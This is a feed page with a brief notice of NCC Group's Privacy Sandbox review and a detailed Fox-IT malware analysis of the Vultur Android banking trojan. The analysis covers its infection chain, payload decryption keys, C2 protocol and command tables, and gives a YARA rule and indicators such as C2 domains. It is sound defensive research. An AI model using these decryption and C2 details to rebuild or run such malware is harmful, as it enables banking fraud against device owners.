Reading view

There are new articles available, click to refresh the page.

Public Report – Google Privacy Sandbox Aggregation Service and Coordinator

During the winter of 2022, Google engaged NCC Group to conduct an in-depth security review of the Aggregation Service, part of Google’s Privacy Sandbox initiative. Google describes the Aggregation Service as follows:

The Privacy Sandbox initiative aims to create technologies that both protect people’s privacy online and give companies and developers tools to build thriving digital businesses. The Privacy Sandbox reduces cross-site and cross-app tracking while helping to keep online content and services free for all. One of the proposed solutions within the initiative is the Aggregation Service. The goal of this service is to allow ad tech to generate summary reports, which include aggregated measurement data on user’s behavior collected by other Privacy Sandbox APIs; these APIs allow ad techs to collect aggregatable reports from clients. The aggregation service decrypts and combines the collected data from the aggregatable reports, adds noise, and returns a summary report. This service runs in a trusted execution environment (TEE), which is deployed on a cloud service that supports necessary security measures to protect this data. This approach is designed to provide a balance between protecting user privacy and meeting the needs of the advertising industry.

NCC Group’s evaluation included the following components:

  • Web Services Assessment, which consists of dynamic testing and code review of the final design and deployment of the Privacy Sandbox Aggregation Service from the perspective of an external attacker.
  • Architecture Design Review, which consists of a review of the final design of the Privacy Sandbox Aggregation Service.
  • Cryptography Design and Implementation Review, which consists of a comprehensive review of the cryptography implementation for the Aggregation Service and split key features.
  • Holistic Attacker-Modeled Pentest, which consists of a holistic review of the final design and implementation of the Privacy Sandbox Aggregation Service from the perspective of a malicious ad tech firm.

In spring 2023, NCC Group completed a retest on a series of fixes proposed by Google, and found that they effectively addressed all findings documented in this report.

The public report for this review may be downloaded below:

Android Malware Vultur Expands Its Wingspan

Authored by Joshua Kamp

Executive summary

The authors behind Android banking malware Vultur have been spotted adding new technical features, which allow the malware operator to further remotely interact with the victim’s mobile device. Vultur has also started masquerading more of its malicious activity by encrypting its C2 communication, using multiple encrypted payloads that are decrypted on the fly, and using the guise of legitimate applications to carry out its malicious actions.

Key takeaways

  • The authors behind Vultur, an Android banker that was first discovered in March 2021, have been spotted adding new technical features.
  • New technical features include the ability to:
    • Download, upload, delete, install, and find files;
    • Control the infected device using Android Accessibility Services (sending commands to perform scrolls, swipe gestures, clicks, mute/unmute audio, and more);
    • Prevent apps from running;
    • Display a custom notification in the status bar;
    • Disable Keyguard in order to bypass lock screen security measures.
  • While the new features are mostly related to remotely interact with the victim’s device in a more flexible way, Vultur still contains the remote access functionality using AlphaVNC and ngrok that it had back in 2021.
  • Vultur has improved upon its anti-analysis and detection evasion techniques by:
    • Modifying legitimate apps (use of McAfee Security and Android Accessibility Suite package name);
    • Using native code in order to decrypt payloads;
    • Spreading malicious code over multiple payloads;
    • Using AES encryption and Base64 encoding for its C2 communication.

Introduction

Vultur is one of the first Android banking malware families to include screen recording capabilities. It contains features such as keylogging and interacting with the victim’s device screen. Vultur mainly targets banking apps for keylogging and remote control. Vultur was first discovered by ThreatFabric in late March 2021. Back then, Vultur (ab)used the legitimate software products AlphaVNC and ngrok for remote access to the VNC server running on the victim’s device. Vultur was distributed through a dropper-framework called Brunhilda, responsible for hosting malicious applications on the Google Play Store [1]. The initial blog on Vultur uncovered that there is a notable connection between these two malware families, as they are both developed by the same threat actors [2].

In a recent campaign, the Brunhilda dropper is spread in a hybrid attack using both SMS and a phone call. The first SMS message guides the victim to a phone call. When the victim calls the number, the fraudster provides the victim with a second SMS that includes the link to the dropper: a modified version of the McAfee Security app.

The dropper deploys an updated version of Vultur banking malware through 3 payloads, where the final 2 Vultur payloads effectively work together by invoking each other’s functionality. The payloads are installed when the infected device has successfully registered with the Brunhilda Command-and-Control (C2) server. In the latest version of Vultur, the threat actors have added a total of 7 new C2 methods and 41 new Firebase Cloud Messaging (FCM) commands. Most of the added commands are related to remote access functionality using Android’s Accessibility Services, allowing the malware operator to remotely interact with the victim’s screen in a way that is more flexible compared to the use of AlphaVNC and ngrok.

In this blog we provide a comprehensive analysis of Vultur, beginning with an overview of its infection chain. We then delve into its new features, uncover its obfuscation techniques and evasion methods, and examine its execution flow. Following that, we dissect its C2 communication, discuss detection based on YARA, and draw conclusions. Let’s soar alongside Vultur’s smarter mobile malware strategies!

Infection chain

In order to deceive unsuspecting individuals into installing malware, the threat actors employ a hybrid attack using two SMS messages and a phone call. First, the victim receives an SMS message that instructs them to call a number if they did not authorise a transaction involving a large amount of money. In reality, this transaction never occurred, but it creates a false sense of urgency to trick the victim into acting quickly. A second SMS is sent during the phone call, where the victim is instructed into installing a trojanised version of the McAfee Security app from a link. This application is actually Brunhilda dropper, which looks benign to the victim as it contains functionality that the original McAfee Security app would have. As illustrated below, this dropper decrypts and executes a total of 3 Vultur-related payloads, giving the threat actors total control over the victim’s mobile device.

Figure 1: Visualisation of the complete infection chain. Note: communication with the C2 server occurs during every malware stage.

New features in Vultur

The latest updates to Vultur bring some interesting changes worth discussing. The most intriguing addition is the malware’s ability to remotely interact with the infected device through the use of Android’s Accessibility Services. The malware operator can now send commands in order to perform clicks, scrolls, swipe gestures, and more. Firebase Cloud Messaging (FCM), a messaging service provided by Google, is used for sending messages from the C2 server to the infected device. The message sent by the malware operator through FCM can contain a command, which, upon receipt, triggers the execution of corresponding functionality within the malware. This eliminates the need for an ongoing connection with the device, as can be seen from the code snippet below.

Figure 2: Decompiled code snippet showing Vultur’s ability to perform clicks and scrolls using Accessibility Services. Note for this (and upcoming) screenshot(s): some variables, classes and method names were renamed by the analyst. Pink strings indicate that they were decrypted.

While Vultur can still maintain an ongoing remote connection with the device through the use of AlphaVNC and ngrok, the new Accessibility Services related FCM commands provide the actor with more flexibility.

In addition to its more advanced remote control capabilities, Vultur introduced file manager functionality in the latest version. The file manager feature includes the ability to download, upload, delete, install, and find files. This effectively grants the actor(s) with even more control over the infected device.

Figure 3: Decompiled code snippet showing part of the file manager related functionality.

Another interesting new feature is the ability to block the victim from interacting with apps on the device. Regarding this functionality, the malware operator can specify a list of apps to press back on when detected as running on the device. The actor can include custom HTML code as a “template” for blocked apps. The list of apps to block and the corresponding HTML code to be displayed is retrieved through the vnc.blocked.packages C2 method. This is then stored in the app’s SharedPreferences. If available, the HTML code related to the blocked app will be displayed in a WebView after it presses back. If no HTML code is set for the app to block, it shows a default “Temporarily Unavailable” message after pressing back. For this feature, payload #3 interacts with code defined in payload #2.

Figure 4: Decompiled code snippet showing part of Vultur’s implementation for blocking apps.

The use of Android’s Accessibility Services to perform RAT related functionality (such as pressing back, performing clicks and swipe gestures) is something that is not new in Android malware. In fact, it is present in most Android bankers today. The latest features in Vultur show that its actors are catching up with this trend, and are even including functionality that is less common in Android RATs and bankers, such as controlling the device volume.

A full list of Vultur’s updated and new C2 methods / FCM commands can be found in the “C2 Communication” section of this blog.

Obfuscation techniques & detection evasion

Like a crafty bird camouflaging its nest, Vultur now employs a set of new obfuscation and detection evasion techniques when compared to its previous versions. Let’s look into some of the notable updates that set apart the latest variant from older editions of Vultur.

AES encrypted and Base64 encoded HTTPS traffic

In October 2022, ThreatFabric mentioned that Brunhilda started using string obfuscation using AES with a varying key in the malware samples themselves [3]. At this point in time, both Brunhilda and Vultur did not encrypt its HTTP requests. That has changed now, however, with the malware developer’s adoption of AES encryption and Base64 encoding requests in the latest variants.

Figure 5: Example AES encrypted and Base64 encoded request for bot registration.

By encrypting its communications, malware can evade detection of security solutions that rely on inspecting network traffic for known patterns of malicious activity. The decrypted content of the request can be seen below. Note that the list of installed apps is shown as Base64 encoded text, as this list is encoded before encryption.

{"id":"6500","method":"application.register","params":{"package":"com.wsandroid.suite","device":"Android/10","model":"samsung GT-I900","country":"sv-SE","apps":"cHQubm92b2JhbmNvLm5iYXBwO3B0LnNhbnRhbmRlcnRvdHRhLm1vYmlsZXBhcnRpY3VsYXJlcztzYS5hbHJhamhpYmFuay50YWh3ZWVsYXBwO3NhLmNvbS5zZS5hbGthaHJhYmE7c2EuY29tLnN0Y3BheTtzYW1zdW5nLnNldHRpbmdzLnBhc3M7c2Ftc3VuZy5zZXR0aW5ncy5waW47c29mdGF4LnBla2FvLnBvd2VycGF5O3RzYi5tb2JpbGViYW5raW5nO3VrLmNvLmhzYmMuaHNiY3VrbW9iaWxlYmFua2luZzt1ay5jby5tYm5hLmNhcmRzZXJ2aWNlcy5hbmRyb2lkO3VrLmNvLm1ldHJvYmFua29ubGluZS5tb2JpbGUuYW5kcm9pZC5wcm9kdWN0aW9uO3VrLmNvLnNhbnRhbmRlci5zYW50YW5kZXJVSzt1ay5jby50ZXNjb21vYmlsZS5hbmRyb2lkO3VrLmNvLnRzYi5uZXdtb2JpbGViYW5rO3VzLnpvb20udmlkZW9tZWV0aW5nczt3aXQuYW5kcm9pZC5iY3BCYW5raW5nQXBwLm1pbGxlbm5pdW07d2l0LmFuZHJvaWQuYmNwQmFua2luZ0FwcC5taWxsZW5uaXVtUEw7d3d3LmluZ2RpcmVjdC5uYXRpdmVmcmFtZTtzZS5zd2VkYmFuay5tb2JpbA==","tag":"dropper2"}

Utilisation of legitimate package names

The dropper is a modified version of the legitimate McAfee Security app. In order to masquerade malicious actions, it contains functionality that the official McAfee Security app would have. This has proven to be effective for the threat actors, as the dropper currently has a very low detection rate when analysed on VirusTotal.

Figure 6: Brunhilda dropper’s detection rate on VirusTotal.

Next to modding the legitimate McAfee Security app, Vultur uses the official Android Accessibility Suite package name for its Accessibility Service. This will be further discussed in the execution flow section of this blog.

Figure 7: Snippet of Vultur’s AndroidManifest.xml file, where its Accessibility Service is defined with the Android Accessibility Suite package name.

Leveraging native code for payload decryption

Native code is typically written in languages like C or C++, which are lower-level than Java or Kotlin, the most popular languages used for Android application development. This means that the code is closer to the machine language of the processor, thus requiring a deeper understanding of lower-level programming concepts. Brunhilda and Vultur have started using native code for decryption of payloads, likely in order to make the samples harder to reverse engineer.

Distributing malicious code across multiple payloads

In this blog post we show how Brunhilda drops a total of 3 Vultur-related payloads: two APK files and one DEX file. We also showcase how payload #2 and #3 can effectively work together. This fragmentation can complicate the analysis process, as multiple components must be assembled to reveal the malware’s complete functionality.

Execution flow: A three-headed… bird?

While previous versions of Brunhilda delivered Vultur through a single payload, the latest variant now drops Vultur in three layers. The Brunhilda dropper in this campaign is a modified version of the legitimate McAfee Security app, which makes it seem harmless to the victim upon execution as it includes functionality that the official McAfee Security app would have.

Figure 8: The modded version of the McAfee Security app is launched.

In the background, the infected device registers with its C2 server through the /ejr/ endpoint and the application.register method. In the related HTTP POST request, the C2 is provided with the following information:

  • Malware package name (as the dropper is a modified version of the McAfee Security app, it sends the official com.wsandroid.suite package name);
  • Android version;
  • Device model;
  • Language and country code (example: sv-SE);
  • Base64 encoded list of installed applications;
  • Tag (dropper campaign name, example: dropper2).

The server response is decrypted and stored in a SharedPreference key named 9bd25f13-c3f8-4503-ab34-4bbd63004b6e, where the value indicates whether the registration was successful or not. After successfully registering the bot with the dropper C2, the first Vultur payload is eventually decrypted and installed from an onClick() method.

Figure 9: Decryption and installation of the first Vultur payload.

In this sample, the encrypted data is hidden in a file named 78a01b34-2439-41c2-8ab7-d97f3ec158c6 that is stored within the app’s “assets” directory. When decrypted, this will reveal an APK file to be installed.

The decryption algorithm is implemented in native code, and reveals that it uses AES/ECB/PKCS5Padding to decrypt the first embedded file. The Lib.d() function grabs a substring from index 6 to 22 of the second argument (IPIjf4QWNMWkVQN21ucmNiUDZaVw==) to get the decryption key. The key used in this sample is: QWNMWkVQN21ucmNi (key varies across samples). With this information we can decrypt the 78a01b34-2439-41c2-8ab7-d97f3ec158c6 file, which brings us another APK file to examine: the first Vultur payload.

Layer 1: Vultur unveils itself

The first Vultur payload also contains the application.register method. The bot registers itself again with the C2 server as observed in the dropper sample. This time, it sends the package name of the current payload (se.accessibility.app in this example), which is not a modded application. The “tag” that was related to the dropper campaign is also removed in this second registration request. The server response contains an encrypted token for further communication with the C2 server and is stored in the SharedPreference key f9078181-3126-4ff5-906e-a38051505098.

Figure 10: Decompiled code snippet that shows the data to be sent to the C2 server during bot registration.

The main purpose of this first payload is to obtain Accessibility Service privileges and install the next Vultur APK file. Apps with Accessibility Service permissions can have full visibility over UI events, both from the system and from 3rd party apps. They can receive notifications, list UI elements, extract text, and more. While these services are meant to assist users, they can also be abused by malicious apps for activities, such as keylogging, automatically granting itself additional permissions, monitoring foreground apps and overlaying them with phishing windows.

In order to gain further control over the infected device, this payload displays custom HTML code that contains instructions to enable Accessibility Services permissions. The HTML code to be displayed in a WebView is retrieved from the installer.config C2 method, where the HTML code is stored in the SharedPreference key bbd1e64e-eba3-463c-95f3-c3bbb35b5907.

Figure 11: HTML code is loaded in a WebView, where the APP_NAME variable is replaced with the text “McAfee Master Protection”.

In addition to the HTML content, an extra warning message is displayed to further convince the victim into enabling Accessibility Service permissions for the app. This message contains the text “Your system not safe, service McAfee Master Protection turned off. For using full device protection turn it on.” When the warning is displayed, it also sets the value of the SharedPreference key 1590d3a3-1d8e-4ee9-afde-fcc174964db4 to true. This value is later checked in the onAccessibilityEvent() method and the onServiceConnected() method of the malicious app’s Accessibility Service.

ANALYST COMMENT
An important observation here, is that the malicious app is using the com.google.android.marvin.talkback package name for its Accessibility Service. This is the package name of the official Android Accessibility Suite, as can be seen from the following link: https://play.google.com/store/apps/details?id=com.google.android.marvin.talkback.
The implementation is of course different from the official Android Accessibility Suite and contains malicious code.

When the Accessibility Service privileges have been enabled for the payload, it automatically grants itself additional permissions to install apps from unknown sources, and installs the next payload through the UpdateActivity.

Figure 12: Decryption and installation of the second Vultur payload.

The second encrypted APK is hidden in a file named data that is stored within the app’s “assets” directory. The decryption algorithm is again implemented in native code, and is the same as in the dropper. This time, it uses a different decryption key that is derived from the DXMgKBY29QYnRPR1k1STRBNTZNUw== string. The substring reveals the actual key used in this sample: Y29QYnRPR1k1STRB (key varies across samples). After decrypting, we are presented with the next layer of Vultur.

Layer 2: Vultur descends

The second Vultur APK contains more important functionality, such as AlphaVNC and ngrok setup, displaying of custom HTML code in WebViews, screen recording, and more. Just like the previous versions of Vultur, the latest edition still includes the ability to remotely access the infected device through AlphaVNC and ngrok.

This second Vultur payload also uses the com.google.android.marvin.talkback (Android Accessibility Suite) package name for the malicious Accessibility Service. From here, there are multiple references to methods invoked from another file: the final Vultur payload. This time, the payload is not decrypted from native code. In this sample, an encrypted file named a.int is decrypted using AES/CFB/NoPadding with the decryption key SBhXcwoAiLTNIyLK (stored in SharedPreference key dffa98fe-8bf6-4ed7-8d80-bb1a83c91fbb). We have observed the same decryption key being used in multiple samples for decrypting payload #3.

Figure 13: Decryption of the third Vultur payload.

Furthermore, from payload #2 onwards, Vultur uses encrypted SharedPreferences for further hiding of malicious configuration related key-value pairs.

Layer 3: Vultur strikes

The final payload is a Dalvik Executable (DEX) file. This decrypted DEX file holds Vultur’s core functionality. It contains the references to all of the C2 methods (used in communication from bot to C2 server, in order to send or retrieve information) and FCM commands (used in communication from C2 server to bot, in order to perform actions on the infected device).

An important observation here, is that code defined in payload #3 can be invoked from payload #2 and vice versa. This means that these final two files effectively work together.

Figure 14: Decompiled code snippet showing some of the FCM commands implemented in Vultur payload #3.

The last Vultur payload does not contain its own Accessibility Service, but it can interact with the Accessibility Service that is implemented in payload #2.

C2 Communication: Vultur finds its voice

When Vultur infects a device, it initiates a series of communications with its designated C2 server. Communications related to C2 methods such as application.register and vnc.blocked.packages occur using JSON-RPC 2.0 over HTTPS. These requests are sent from the infected device to the C2 server to either provide or receive information.

Actual vultures lack a voice box; their vocalisations include rasping hisses and grunts [4]. While the communication in older variants of Vultur may have sounded somewhat similar to that, you could say that the threat actors have developed a voice box for the latest version of Vultur. The content of the aforementioned requests are now AES encrypted and Base64 encoded, just like the server response.

Next to encrypted communication over HTTPS, the bot can receive commands via Firebase Cloud Messaging (FCM). FCM is a cross-platform messaging solution provided by Google. The FCM related commands are sent from the C2 server to the infected device to perform actions on it.

During our investigation of the latest Vultur variant, we identified the C2 endpoints mentioned below.

EndpointDescription
/ejr/Endpoint for C2 communication using JSON-RPC 2.0.
Note: in older versions of Vultur the /rpc/ endpoint was used for similar communication.
/upload/Endpoint for uploading files (such as screen recording results).
/version/app/?filename=ngrok&arch={DEVICE_ARCH}Endpoint for downloading the relevant version of ngrok.
/version/app/?filename={FILENAME}Endpoint for downloading a file specified by the payload (related to the new file manager functionality).

C2 methods in Brunhilda dropper

The commands below are sent from the infected device to the C2 server to either provide or receive information.

MethodDescription
application.registerRegisters the bot by providing the malware package name and information about the device: model, country, installed apps, Android version. It also sends a tag that is used for identifying the dropper campaign name.
Note: this method is also used once in Vultur payload #1, but without sending a tag. This method then returns a token to be used in further communication with the C2 server.
application.stateSends a token value that was set as a response to the application.register command, together with a status code of “3”.

C2 methods in Vultur

The commands below are sent from the infected device to the C2 server to either provide or receive information.

MethodDescription
vnc.register (UPDATED)Registers the bot by providing the FCM token, malware package name and information about the device, model, country, Android version. This method has been updated in the latest version of Vultur to also include information on whether the infected device is rooted and if it is detected as an emulator.
vnc.status (UPDATED)Sends the following status information about the device: if the Accessibility Service is enabled, if the Device Admin permissions are enabled, if the screen is locked, what the VNC address is. This method has been updated in the latest version of Vultur to also send information related to: active fingerprints on the device, screen resolution, time, battery percentage, network operator, location.
vnc.appsSends the list of apps that are installed on the victim’s device.
vnc.keylogSends the keystrokes that were obtained via keylogging.
vnc.config (UPDATED)Obtains the config of the malware, such as the list of targeted applications by the keylogger and VNC. This method has been updated in the latest version of Vultur to also obtain values related to the following new keys: “packages2”, “rurl”, “recording”, “main_content”, “tvmq”.
vnc.overlayObtains the HTML code for overlay injections of a specified package name using the pkg parameter. It is still unclear whether support for overlay injections is fully implemented in Vultur.
vnc.overlay.logsSends the stolen credentials that were obtained via HTML overlay injections. It is still unclear whether support for overlay injections is fully implemented in Vultur.
vnc.pattern (NEW)Informs the C2 server whether a PIN pattern was successfully extracted and stored in the application’s Shared Preferences.
vnc.snapshot (NEW)Sends JSON data to the C2 server, which can contain:

1. Information about the accessibility event’s class, bounds, child nodes, UUID, event type, package name, text content, screen dimensions, time of the event, and if the screen is locked.
2. Recently copied text, and SharedPreferences values related to “overlay” and “keyboard”.
3. X and Y coordinates related to a click.
vnc.submit (NEW)Informs the C2 server whether the bot registration was successfully submitted or if it failed.
vnc.urls (NEW)Informs the C2 server about the URL bar related element IDs of either the Google Chrome or Firefox webbrowser (depending on which application triggered the accessibility event).
vnc.blocked.packages (NEW)Retrieves a list of “blocked packages” from the C2 server and stores them together with custom HTML code in the application’s Shared Preferences. When one of these package names is detected as running on the victim device, the malware will automatically press the back button and display custom HTML content if available. If unavailable, a default “Temporarily Unavailable” message is displayed.
vnc.fm (NEW)Sends file related information to the C2 server. File manager functionality includes downloading, uploading, installing, deleting, and finding of files.
vnc.syslogSends logs.
crash.logsSends logs of all content on the screen.
installer.config (NEW)Retrieves the HTML code that is displayed in a WebView of the first Vultur payload. This HTML code contains instructions to enable Accessibility Services permissions.

FCM commands in Vultur

The commands below are sent from the C2 server to the infected device via Firebase Cloud Messaging in order to perform actions on the infected device. The new commands use IDs instead of names that describe their functionality. These command IDs are the same in different samples.

CommandDescription
registeredReceived when the bot has been successfully registered.
startStarts the VNC connection using ngrok.
stopStops the VNC connection by killing the ngrok process and stopping the VNC service.
unlockUnlocks the screen.
deleteUninstalls the malware package.
patternProvides a gesture/stroke pattern to interact with the device’s screen.
109b0e16 (NEW)Presses the back button.
18cb31d4 (NEW)Presses the home button.
811c5170 (NEW)Shows the overview of recently opened apps.
d6f665bf (NEW)Starts an app specified by the payload.
1b05d6ee (NEW)Shows a black view.
1b05d6da (NEW)Shows a black view that is obtained from the layout resources in Vultur payload #2.
7f289af9 (NEW)Shows a WebView with HTML code loaded from SharedPreference key “946b7e8e”.
dc55afc8 (NEW)Removes the active black view / WebView that was added from previous commands (after sleeping for 15 seconds).
cbd534b9 (NEW)Removes the active black view / WebView that was added from previous commands (without sleeping).
4bacb3d6 (NEW)Deletes an app specified by the payload.
b9f92adb (NEW)Navigates to the settings of an app specified by the payload.
77b58a53 (NEW)Ensures that the device stays on by acquiring a wake lock, disables keyguard, sleeps for 0,1 second, and then swipes up to unlock the device without requiring a PIN.
ed346347 (NEW)Performs a click.
5c900684 (NEW)Scrolls forward.
d98179a8 (NEW)Scrolls backward.
7994ceca (NEW)Sets the text of a specified element ID to the payload text.
feba1943 (NEW)Swipes up.
d403ad43 (NEW)Swipes down.
4510a904 (NEW)Swipes left.
753c4fa0 (NEW)Swipes right.
b183a400 (NEW)Performs a stroke pattern on an element across a 3×3 grid.
81d9d725 (NEW)Performs a stroke pattern based on x+y coordinates and time duration.
b79c4b56 (NEW)Press-and-hold 3 times near bottom middle of the screen.
1a7493e7 (NEW)Starts capturing (recording) the screen.
6fa8a395 (NEW)Sets the “ShowMode” of the keyboard to 0. This allows the system to control when the soft keyboard is displayed.
9b22cbb1 (NEW)Sets the “ShowMode” of the keyboard to 1. This means the soft keyboard will never be displayed (until it is turned back on).
98c97da9 (NEW)Requests permissions for reading and writing external storage.
7b230a3b (NEW)Request permissions to install apps from unknown sources.
cc8397d4 (NEW)Opens the long-press power menu.
3263f7d4 (NEW)Sets a SharedPreference value for the key “c0ee5ba1-83dd-49c8-8212-4cfd79e479c0” to the specified payload. This value is later checked for in other to determine whether the long-press power menu should be displayed (SharedPref value 1), or whether the back button must be pressed (SharedPref value 2).
request_accessibility (UPDATED)Prompts the infected device with either a notification or a custom WebView that instructs the user to enable accessibility services for the malicious app. The related WebView component was not present in older versions of Vultur.
announcement (NEW)Updates the value for the C2 domain in the SharedPreferences.
5283d36d-e3aa-45ed-a6fb-2abacf43d29c (NEW)Sends a POST with the vnc.config C2 method and stores the malware config in SharedPreferences.
09defc05-701a-4aa3-bdd2-e74684a61624 (NEW)Hides / disables the keyboard, obtains a wake lock, disables keyguard (lock screen security), mutes the audio, stops the “TransparentActivity” from payload #2, and displays a black view.
fc7a0ee7-6604-495d-ba6c-f9c2b55de688 (NEW)Hides / disables the keyboard, obtains a wake lock, disables keyguard (lock screen security), mutes the audio, stops the “TransparentActivity” from payload #2, and displays a custom WebView with HTML code loaded from SharedPreference key “946b7e8e” (“tvmq” value from malware config).
8eac269d-2e7e-4f0d-b9ab-6559d401308d (NEW)Hides / disables the keyboard, obtains a wake lock, disables keyguard (lock screen security), mutes the audio, stops the “TransparentActivity” from payload #2.
e7289335-7b80-4d83-863a-5b881fd0543d (NEW)Enables the keyboard and unmutes audio. Then, sends the vnc.snapshot method with empty JSON data.
544a9f82-c267-44f8-bff5-0726068f349d (NEW)Retrieves the C2 command, payload and UUID, and executes the command in a thread.
a7bfcfaf-de77-4f88-8bc8-da634dfb1d5a (NEW)Creates a custom notification to be shown in the status bar.
444c0a8a-6041-4264-959b-1a97d6a92b86 (NEW)Retrieves the list of apps to block and corresponding HTML code through the vnc.blocked.packages C2 method and stores them in the blocked_package_template SharedPreference key.
a1f2e3c6-9cf8-4a7e-b1e0-2c5a342f92d6 (NEW)Executes a file manager related command. Commands are:

1. 91b4a535-1a78-4655-90d1-a3dcb0f6388a – Downloads a file
2. cf2f3a6e-31fc-4479-bb70-78ceeec0a9f8 – Uploads a file
3. 1ce26f13-fba4-48b6-be24-ddc683910da3 – Deletes a file
4. 952c83bd-5dfb-44f6-a034-167901990824 – Installs a file
5. 787e662d-cb6a-4e64-a76a-ccaf29b9d7ac – Finds files containing a specified pattern

Detection

Writing YARA rules to detect Android malware can be challenging, as APK files are ZIP archives. This means that extracting all of the information about the Android application would involve decompressing the ZIP, parsing the XML, and so on. Thus, most analysts build YARA rules for the DEX file. However, DEX files, such as Vultur payload #3, are less frequently submitted to VirusTotal as they are uncovered at a later stage in the infection chain. To maximise our sample pool, we decided to develop a YARA rule for the Brunhilda dropper. We discovered some unique hex patterns in the dropper APK, which allowed us to create the YARA rule below.

rule brunhilda_dropper
{
meta:
author = "Fox-IT, part of NCC Group"
description = "Detects unique hex patterns observed in Brunhilda dropper samples."
target_entity = "file"
strings:
$zip_head = "PK"
$manifest = "AndroidManifest.xml"
$hex1 = {63 59 5c 28 4b 5f}
$hex2 = {32 4a 66 48 66 76 64 6f 49 36}
$hex3 = {63 59 5c 28 4b 5f}
$hex4 = {30 34 7b 24 24 4b}
$hex5 = {22 69 4f 5a 6f 3a}
condition:
$zip_head at 0 and $manifest and #manifest >= 2 and 2 of ($hex*)
}

Wrap-up

Vultur’s recent developments have shown a shift in focus towards maximising remote control over infected devices. With the capability to issue commands for scrolling, swipe gestures, clicks, volume control, blocking apps from running, and even incorporating file manager functionality, it is clear that the primary objective is to gain total control over compromised devices.

Vultur has a strong correlation to Brunhilda, with its C2 communication and payload decryption having the same implementation in the latest variants. This indicates that both the dropper and Vultur are being developed by the same threat actors, as has also been uncovered in the past.

Furthermore, masquerading malicious activity through the modification of legitimate applications, encryption of traffic, and the distribution of functions across multiple payloads decrypted from native code, shows that the actors put more effort into evading detection and complicating analysis.

During our investigation of recently submitted Vultur samples, we observed the addition of new functionality occurring shortly after one another. This suggests ongoing and active development to enhance the malware’s capabilities. In light of these observations, we expect more functionality being added to Vultur in the near future.

Indicators of Compromise

Analysed samples

Package nameFile hash (SHA-256)Description
com.wsandroid.suiteedef007f1ca60fdf75a7d5c5ffe09f1fc3fb560153633ec18c5ddb46cc75ea21Brunhilda Dropper
com.medical.balance89625cf2caed9028b41121c4589d9e35fa7981a2381aa293d4979b36cf5c8ff2Vultur payload #1
com.medical.balance1fc81b03703d64339d1417a079720bf0480fece3d017c303d88d18c70c7aabc3Vultur payload #2
com.medical.balance4fed4a42aadea8b3e937856318f9fbd056e2f46c19a6316df0660921dd5ba6c5Vultur payload #3
com.wsandroid.suite001fd4af41df8883957c515703e9b6b08e36fde3fd1d127b283ee75a32d575fcBrunhilda Dropper
se.accessibility.appfc8c69bddd40a24d6d28fbf0c0d43a1a57067b19e6c3cc07e2664ef4879c221bVultur payload #1
se.accessibility.app7337a79d832a57531b20b09c2fc17b4257a6d4e93fcaeb961eb7c6a95b071a06Vultur payload #2
se.accessibility.app7f1a344d8141e75c69a3c5cf61197f1d4b5038053fd777a68589ecdb29168e0cVultur payload #3
com.wsandroid.suite26f9e19c2a82d2ed4d940c2ec535ff2aba8583ae3867502899a7790fe3628400Brunhilda Dropper
com.exvpn.fastvpn2a97ed20f1ae2ea5ef2b162d61279b2f9b68eba7cf27920e2a82a115fd68e31fVultur payload #1
com.exvpn.fastvpnc0f3cb3d837d39aa3abccada0b4ecdb840621a8539519c104b27e2a646d7d50dVultur payload #2
com.wsandroid.suite92af567452ecd02e48a2ebc762a318ce526ab28e192e89407cac9df3c317e78dBrunhilda Dropper
jk.powder.tendencefa6111216966a98561a2af9e4ac97db036bcd551635be5b230995faad40b7607Vultur payload #1
jk.powder.tendencedc4f24f07d99e4e34d1f50de0535f88ea52cc62bfb520452bdd730b94d6d8c0eVultur payload #2
jk.powder.tendence627529bb010b98511cfa1ad1aaa08760b158f4733e2bbccfd54050838c7b7fa3Vultur payload #3
com.wsandroid.suitef5ce27a49eaf59292f11af07851383e7d721a4d60019f3aceb8ca914259056afBrunhilda Dropper
se.talkback.app5d86c9afd1d33e4affa9ba61225aded26ecaeb01755eeb861bb4db9bbb39191cVultur payload #1
se.talkback.app5724589c46f3e469dc9f048e1e2601b8d7d1bafcc54e3d9460bc0adeeada022dVultur payload #2
se.talkback.app7f1a344d8141e75c69a3c5cf61197f1d4b5038053fd777a68589ecdb29168e0cVultur payload #3
com.wsandroid.suitefd3b36455e58ba3531e8cce0326cce782723cc5d1cc0998b775e07e6c2622160Brunhilda Dropper
com.adajio.storm819044d01e8726a47fc5970efc80ceddea0ac9bf7c1c5d08b293f0ae571369a9Vultur payload #1
com.adajio.storm0f2f8adce0f1e1971cba5851e383846b68e5504679d916d7dad10133cc965851Vultur payload #2
com.adajio.stormfb1e68ee3509993d0fe767b0372752d2fec8f5b0bf03d5c10a30b042a830ae1aVultur payload #3
com.protectionguard.appd3dc4e22611ed20d700b6dd292ffddbc595c42453f18879f2ae4693a4d4d925aBrunhilda Dropper (old variant)
com.appsmastersafeyf4d7e9ec4eda034c29b8d73d479084658858f56e67909c2ffedf9223d7ca9bd2Vultur (old variant)
com.datasafeaccountsanddata.club7ca6989ccfb0ad0571aef7b263125410a5037976f41e17ee7c022097f827bd74Vultur (old variant)
com.app.freeguarding.twofactorc646c8e6a632e23a9c2e60590f012c7b5cb40340194cb0a597161676961b4de0Vultur (old variant)

Note: Vultur payloads #1 and #2 related to Brunhilda dropper 26f9e19c2a82d2ed4d940c2ec535ff2aba8583ae3867502899a7790fe3628400 are the same as Vultur payloads #2 and #3 in the latest variants. The dropper in this case only drops two payloads, where the latest versions deploy a total of three payloads.

C2 servers

  • safetyfactor[.]online
  • cloudmiracle[.]store
  • flandria171[.]appspot[.]com (FCM)
  • newyan-1e09d[.]appspot[.]com (FCM)

Dropper distribution URLs

  • mcafee[.]960232[.]com
  • mcafee[.]353934[.]com
  • mcafee[.]908713[.]com
  • mcafee[.]784503[.]com
  • mcafee[.]053105[.]com
  • mcafee[.]092877[.]com
  • mcafee[.]582630[.]com
  • mcafee[.]581574[.]com
  • mcafee[.]582342[.]com
  • mcafee[.]593942[.]com
  • mcafee[.]930204[.]com

References

  1. https://resources.prodaft.com/brunhilda-daas-malware-report ↩
  2. https://www.threatfabric.com/blogs/vultur-v-for-vnc ↩
  3. https://www.threatfabric.com/blogs/the-attack-of-the-droppers ↩
  4. https://www.wildlifecenter.org/vulture-facts ↩

Android Malware Vultur Expands Its Wingspan

Authored by Joshua Kamp

Executive summary

The authors behind Android banking malware Vultur have been spotted adding new technical features, which allow the malware operator to further remotely interact with the victim’s mobile device. Vultur has also started masquerading more of its malicious activity by encrypting its C2 communication, using multiple encrypted payloads that are decrypted on the fly, and using the guise of legitimate applications to carry out its malicious actions.

Key takeaways

  • The authors behind Vultur, an Android banker that was first discovered in March 2021, have been spotted adding new technical features.
  • New technical features include the ability to:
